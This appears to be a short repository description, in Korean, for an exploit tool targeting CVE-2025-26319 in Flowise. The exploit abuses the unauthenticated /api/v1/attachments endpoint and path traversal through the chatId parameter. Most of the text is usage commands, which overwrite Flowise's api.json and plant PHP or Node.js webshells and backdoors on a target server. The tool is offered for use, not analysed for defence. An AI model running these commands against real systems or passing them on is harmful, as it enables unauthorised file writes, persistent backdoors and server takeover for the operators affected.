redpack-kr/cve-2025-26319CVE-2025-26319를 대상으로 하는 익스플로잇으로, Flowise의 /api/v1/attachments 엔드포인트를 공격하여 인증되지 않은 임의 파일 업로드 및 경로 순회를 통한 웹쉘 생성을 가능하게 합니다.
python flowise_exploit.py -u http://target:3000 -f new_api.json -d /root/.flowise/api.json 3. 웹셸 자동 생성 및 업로드
python flowise_exploit.py -u http://target:3000 --generate-webshell php --webshell-path /var/www/html/shell.php
python flowise_exploit.py -u http://target:3000 --generate-webshell nodejs --webshell-path /tmp/backdoor.js
공격 원리 /api/v1/attachments 라우트가 화이트리스트에 포함되어 있어 인증이 필요하지 않습니다 chatId 매개변수를 조작하여 경로 탐색(../../../) 수행 서버 파일 시스템의 임의 위치에 임의 파일 업로드
